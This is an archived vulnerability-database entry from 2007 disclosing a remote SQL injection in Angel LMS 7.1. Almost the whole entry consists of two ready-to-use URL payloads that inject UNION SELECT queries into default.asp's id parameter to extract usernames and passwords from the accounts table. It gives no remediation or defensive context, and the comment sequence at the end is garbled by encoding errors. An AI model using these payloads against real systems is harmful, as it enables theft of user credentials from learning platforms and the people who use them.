Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16225
HistoryMar 02, 2007 - 12:00 a.m.

Angel LMS 7.1 - Remote SQL Injection

2007-03-0200:00:00
vulners.com
19

Angel LMS 7.1 Remote SQL Injection

by Guns

#All User Accounts#
http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20username%20from%20accountsโ€“"

#Account Passwords#
http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20password%20from%20accountsโ€“"